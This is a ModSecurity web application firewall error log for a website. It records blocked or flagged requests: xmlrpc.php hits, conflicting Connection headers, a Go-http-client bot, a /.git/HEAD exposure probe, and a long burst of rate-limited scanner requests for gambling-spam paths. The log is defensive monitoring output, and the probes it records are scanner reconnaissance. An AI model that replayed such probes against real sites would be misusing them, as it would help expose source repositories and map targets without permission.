[Tue Mar 10 03:43:19.689763 2026] [:error] [pid 64615:tid 64701] [client 157.119.203.143:64226] [client 157.119.203.143] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.119.203.143, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa8i1yTfqTdxLs_cfGRJuwAAANY"]
[Tue Mar 10 03:44:30.995347 2026] [:error] [pid 64615:tid 64681] [client 157.119.203.143:64717] [client 157.119.203.143] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.119.203.143, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa8jHiTfqTdxLs_cfGRJ_AAAAMI"]
[Tue Mar 10 03:45:40.271104 2026] [:error] [pid 18743:tid 18782] [client 157.119.203.143:54201] [client 157.119.203.143] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.119.203.143, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa8jZKwkAHR2aTzeqeEunQAAAAY"]
[Tue Mar 10 04:51:52.203188 2026] [:error] [pid 8193:tid 8223] [client 43.167.239.66:52286] [client 43.167.239.66] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aa8y6B27LTs3sNpMSvwFdgAAAMM"]
[Tue Mar 10 05:23:21.710094 2026] [:error] [pid 32149:tid 32164] [client 62.60.131.218:58076] [client 62.60.131.218] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aa86SWdqak0GlFD4uMIfzgAAAQQ"]
[Tue Mar 10 05:40:48.492565 2026] [:error] [pid 7904:tid 7999] [client 62.60.131.218:60743] [client 62.60.131.218] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aa8-YNqdH-GCmASfJqHgRAAAAAc"]
[Tue Mar 10 05:58:04.582761 2026] [:error] [pid 8193:tid 8243] [client 43.153.86.78:45218] [client 43.153.86.78] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aa9CbB27LTs3sNpMSvwaVQAAANc"]
[Tue Mar 10 08:14:44.663747 2026] [:error] [pid 37324:tid 37348] [client 43.228.157.68:48970] [client 43.228.157.68] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/HEAD"] [unique_id "aa9idGVvKYS3ogzUMPdeqgAAAQc"]
[Tue Mar 10 09:20:58.506758 2026] [:error] [pid 13407:tid 13440] [client 178.150.14.250:43688] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aa9x-tqN0GV-aESMjNysAwAAAU4"]
[Tue Mar 10 09:21:00.332214 2026] [:error] [pid 32295:tid 32332] [client 178.150.14.250:37266] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aa9x_I_FltxBAKWrlwjvpgAAAM4"]
[Tue Mar 10 09:21:02.363522 2026] [:error] [pid 13407:tid 13446] [client 178.150.14.250:37274] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "aa9x_tqN0GV-aESMjNysDQAAAVQ"]
[Tue Mar 10 09:21:04.262911 2026] [:error] [pid 13407:tid 13443] [client 178.150.14.250:45100] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "aa9yANqN0GV-aESMjNysFAAAAVE"]
[Tue Mar 10 09:21:06.140703 2026] [:error] [pid 13407:tid 13428] [client 178.150.14.250:45114] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "aa9yAtqN0GV-aESMjNysGQAAAUI"]
[Tue Mar 10 09:21:08.183846 2026] [:error] [pid 13407:tid 13431] [client 178.150.14.250:45126] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "aa9yBNqN0GV-aESMjNysHQAAAUU"]
[Tue Mar 10 09:21:10.223690 2026] [:error] [pid 31977:tid 32117] [client 178.150.14.250:45136] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "aa9yBi_lkX6-Mo89SmEK9gAAAEw"]
[Tue Mar 10 09:21:12.253937 2026] [:error] [pid 31981:tid 32153] [client 178.150.14.250:45146] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "aa9yCLAfo6Bks64fCDZ4hQAAAJI"]
[Tue Mar 10 09:21:14.144503 2026] [:error] [pid 32295:tid 32336] [client 178.150.14.250:33500] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "aa9yCo_FltxBAKWrlwjvuQAAANI"]
[Tue Mar 10 09:21:16.193944 2026] [:error] [pid 13407:tid 13440] [client 178.150.14.250:33504] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "aa9yDNqN0GV-aESMjNysJwAAAU4"]
[Tue Mar 10 09:21:18.069439 2026] [:error] [pid 31973:tid 32086] [client 178.150.14.250:33518] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "aa9yDtQrmAcL67IqSToSWQAAABU"]
[Tue Mar 10 09:21:19.960277 2026] [:error] [pid 31977:tid 32105] [client 178.150.14.250:33534] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "aa9yDy_lkX6-Mo89SmEK_wAAAEA"]
[Tue Mar 10 09:21:21.975180 2026] [:error] [pid 32295:tid 32338] [client 178.150.14.250:33546] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "aa9yEY_FltxBAKWrlwjvvgAAANQ"]
[Tue Mar 10 09:21:23.839846 2026] [:error] [pid 31977:tid 32123] [client 178.150.14.250:37744] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "aa9yEy_lkX6-Mo89SmELBQAAAFI"]
[Tue Mar 10 09:21:25.873586 2026] [:error] [pid 37324:tid 37363] [client 178.150.14.250:37758] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "aa9yFWVvKYS3ogzUMPdtCwAAARY"]
[Tue Mar 10 09:21:27.751166 2026] [:error] [pid 32295:tid 32326] [client 178.150.14.250:37774] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "aa9yF4_FltxBAKWrlwjvxQAAAMg"]
[Tue Mar 10 09:21:29.787246 2026] [:error] [pid 31981:tid 32158] [client 178.150.14.250:37782] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "aa9yGbAfo6Bks64fCDZ4iQAAAJY"]
[Tue Mar 10 09:21:31.655967 2026] [:error] [pid 31981:tid 32133] [client 178.150.14.250:37790] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "aa9yG7Afo6Bks64fCDZ4jQAAAIA"]
[Tue Mar 10 09:21:33.669318 2026] [:error] [pid 32295:tid 32332] [client 178.150.14.250:36298] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "aa9yHY_FltxBAKWrlwjv2wAAAM4"]
[Tue Mar 10 09:21:35.681487 2026] [:error] [pid 31977:tid 32121] [client 178.150.14.250:36302] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "aa9yHy_lkX6-Mo89SmELHwAAAFA"]
[Tue Mar 10 09:21:37.564662 2026] [:error] [pid 37324:tid 37344] [client 178.150.14.250:36306] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "aa9yIWVvKYS3ogzUMPdtKAAAAQM"]
[Tue Mar 10 09:21:39.580469 2026] [:error] [pid 13407:tid 13448] [client 178.150.14.250:36318] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "aa9yI9qN0GV-aESMjNysWQAAAVY"]
[Tue Mar 10 09:21:41.585532 2026] [:error] [pid 31977:tid 32109] [client 178.150.14.250:36320] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "aa9yJS_lkX6-Mo89SmELMwAAAEQ"]
[Tue Mar 10 09:21:43.587983 2026] [:error] [pid 37324:tid 37350] [client 178.150.14.250:43090] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "aa9yJ2VvKYS3ogzUMPdtMAAAAQk"]
[Tue Mar 10 09:21:45.576803 2026] [:error] [pid 37324:tid 37357] [client 178.150.14.250:43096] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "aa9yKWVvKYS3ogzUMPdtMwAAARA"]
[Tue Mar 10 09:21:47.571846 2026] [:error] [pid 31981:tid 32160] [client 178.150.14.250:43106] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "aa9yK7Afo6Bks64fCDZ4nQAAAJg"]
[Tue Mar 10 09:21:49.558335 2026] [:error] [pid 13407:tid 13426] [client 178.150.14.250:43112] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "aa9yLdqN0GV-aESMjNysZQAAAUA"]
[Tue Mar 10 09:21:51.548487 2026] [:error] [pid 37324:tid 37354] [client 178.150.14.250:43120] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "aa9yL2VvKYS3ogzUMPdtQQAAAQ0"]
[Tue Mar 10 09:21:53.562526 2026] [:error] [pid 31981:tid 32155] [client 178.150.14.250:54858] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "aa9yMbAfo6Bks64fCDZ4ngAAAJM"]
[Tue Mar 10 09:22:32.656677 2026] [:error] [pid 31973:tid 32076] [client 178.150.14.250:54870] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "aa9yWNQrmAcL67IqSToSqwAAAAs"]
[Tue Mar 10 09:22:34.612425 2026] [:error] [pid 13407:tid 13447] [client 178.150.14.250:36246] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "aa9yWtqN0GV-aESMjNysvgAAAVU"]
[Tue Mar 10 09:22:36.585601 2026] [:error] [pid 31973:tid 32087] [client 178.150.14.250:36262] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aa9yXNQrmAcL67IqSToSrAAAABY"]
[Tue Mar 10 09:22:38.573798 2026] [:error] [pid 13407:tid 13448] [client 178.150.14.250:36266] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aa9yXtqN0GV-aESMjNysxQAAAVY"]
[Tue Mar 10 09:22:40.415855 2026] [:error] [pid 31977:tid 32107] [client 178.150.14.250:36278] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aa9yYC_lkX6-Mo89SmELdwAAAEI"]
[Tue Mar 10 09:22:42.407251 2026] [:error] [pid 37324:tid 37360] [client 178.150.14.250:36282] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aa9yYmVvKYS3ogzUMPdtagAAARM"]
[Tue Mar 10 09:22:44.391977 2026] [:error] [pid 32295:tid 32338] [client 178.150.14.250:32868] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aa9yZI_FltxBAKWrlwjv9gAAANQ"]
[Tue Mar 10 09:22:46.384626 2026] [:error] [pid 31977:tid 32123] [client 178.150.14.250:32882] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "aa9yZi_lkX6-Mo89SmELgQAAAFI"]
[Tue Mar 10 09:22:48.220142 2026] [:error] [pid 37324:tid 37361] [client 178.150.14.250:32892] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "aa9yaGVvKYS3ogzUMPdtbwAAARQ"]
[Tue Mar 10 09:22:50.197996 2026] [:error] [pid 31977:tid 32109] [client 178.150.14.250:32904] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "aa9yai_lkX6-Mo89SmELhAAAAEQ"]
[Tue Mar 10 09:22:52.183624 2026] [:error] [pid 31977:tid 32126] [client 178.150.14.250:32908] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "aa9ybC_lkX6-Mo89SmELiQAAAFU"]
[Tue Mar 10 09:22:54.020743 2026] [:error] [pid 13407:tid 13426] [client 178.150.14.250:35432] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "aa9ybtqN0GV-aESMjNys0wAAAUA"]
[Tue Mar 10 09:22:56.013958 2026] [:error] [pid 31973:tid 32080] [client 178.150.14.250:35434] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "aa9ycNQrmAcL67IqSToStAAAAA8"]
[Tue Mar 10 09:22:58.011050 2026] [:error] [pid 13407:tid 13448] [client 178.150.14.250:35450] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aa9yctqN0GV-aESMjNys3AAAAVY"]
[Tue Mar 10 09:23:00.004103 2026] [:error] [pid 31973:tid 32087] [client 178.150.14.250:35458] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "aa9ydNQrmAcL67IqSToStwAAABY"]
[Tue Mar 10 09:23:01.996078 2026] [:error] [pid 31977:tid 32111] [client 178.150.14.250:35472] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "aa9ydS_lkX6-Mo89SmELkQAAAEY"]
[Tue Mar 10 09:23:04.006647 2026] [:error] [pid 37324:tid 37361] [client 178.150.14.250:41508] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "aa9yeGVvKYS3ogzUMPdtegAAARQ"]
[Tue Mar 10 09:23:05.987846 2026] [:error] [pid 37324:tid 37341] [client 178.150.14.250:41522] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aa9yeWVvKYS3ogzUMPdtfAAAAQA"]
